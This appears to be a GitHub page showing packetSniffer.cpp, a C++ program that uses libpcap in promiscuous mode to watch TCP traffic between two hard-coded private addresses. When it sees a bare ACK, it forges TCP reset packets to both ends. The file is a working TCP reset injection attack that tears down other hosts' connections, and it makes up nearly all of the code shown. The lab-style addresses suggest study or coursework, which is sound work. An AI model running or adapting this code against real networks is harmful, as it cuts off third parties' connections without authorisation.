-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpacketSniffer.cpp
96 lines (84 loc) · 3.95 KB
/
packetSniffer.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <pcap.h>
#include "packetSender.h"
void processPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *buffer)
{
struct spoofedcontent spoofedContent;
struct in_addr sourceIP, destinationIP;
int size = header->len;
struct ethernetheader *ethernetHeader = (struct ethernetheader *) (buffer);
struct ipheader *ipHeader = (struct ipheader*)(buffer + sizeof(struct ethernetheader));
struct tcpheader *tcpHeader = (struct tcpheader*)(buffer + sizeof(struct ipheader) + sizeof(struct ethernetheader));
if(ipHeader->protocol == 6 && ipHeader->sourceIPAddress == inet_addr("192.168.0.111") && ipHeader->destinationIPAddress == inet_addr("192.168.0.101"))
{
if(tcpHeader->flag_ACK && !(tcpHeader->flag_PSH || tcpHeader->flag_SYN || tcpHeader->flag_FIN))
{
sourceIP.s_addr = ipHeader->sourceIPAddress;
destinationIP.s_addr = ipHeader->destinationIPAddress;
cout << "---------------------------" << endl;
cout << "Received ack packet :D" << endl;
cout << "Source IP: " << inet_ntoa(sourceIP) << " Destination IP: " << inet_ntoa(destinationIP) << endl;
cout << "Source port: " << ntohs(tcpHeader->sourcePort) << " Destination port: " << ntohs(tcpHeader->destinationPort) << endl;
cout << "Sequence number: " << ntohl(tcpHeader->sequenceNumber) << " Ack number: " << ntohl(tcpHeader->ackNumber) << endl;
cout << "---------------------------" << endl;
// Sending reset packet to sender
spoofedContent.sourceIPAddress = ipHeader->sourceIPAddress;
spoofedContent.destinationIPAddress = ipHeader->destinationIPAddress;
spoofedContent.sourcePort = tcpHeader->sourcePort;
spoofedContent.destinationPort = tcpHeader->destinationPort;
spoofedContent.sequenceNumber = tcpHeader->sequenceNumber;
spoofedContent.ackNumber = tcpHeader->ackNumber;
memcpy(spoofedContent.sourceInterface, ethernetHeader->sourceInterface, ETH_ALEN);
memcpy(spoofedContent.destinationInterface, ethernetHeader->destinationInterface, ETH_ALEN);
sendResetPacket(spoofedContent);
// Sending reset packet to receiver
spoofedContent.sourceIPAddress = ipHeader->destinationIPAddress;
spoofedContent.destinationIPAddress = ipHeader->sourceIPAddress;
spoofedContent.sourcePort = tcpHeader->destinationPort;
spoofedContent.destinationPort = tcpHeader->sourcePort;
spoofedContent.sequenceNumber = tcpHeader->ackNumber;
spoofedContent.ackNumber = tcpHeader->sequenceNumber;
memcpy(spoofedContent.sourceInterface, ethernetHeader->destinationInterface, ETH_ALEN);
memcpy(spoofedContent.destinationInterface, ethernetHeader->sourceInterface, ETH_ALEN);
sendResetPacket(spoofedContent);
}
}
}
int main(int argc, char *argv[])
{
pcap_t *handle; // Session handle
char dev[]="ens33"; // The device to sniff on
char errbuf[PCAP_ERRBUF_SIZE]; // Error string
struct bpf_program fp; // The compiled filter
char filter_exp[] = ""; // The filter expression
bpf_u_int32 mask; // Our netmask
bpf_u_int32 net; // Our IP
struct pcap_pkthdr header; // The header that pcap gives us
const u_char *packet; // The actual packet
/* Find the properties for the device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
/* Open the session in promiscuous mode */
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL)
{
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
/* Compile and apply the filter */
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1)
{
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
if (pcap_setfilter(handle, &fp) == -1)
{
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
cout << "Running sniffer-----------" << endl;
pcap_loop(handle, -1, processPacket, NULL);
return(0);
}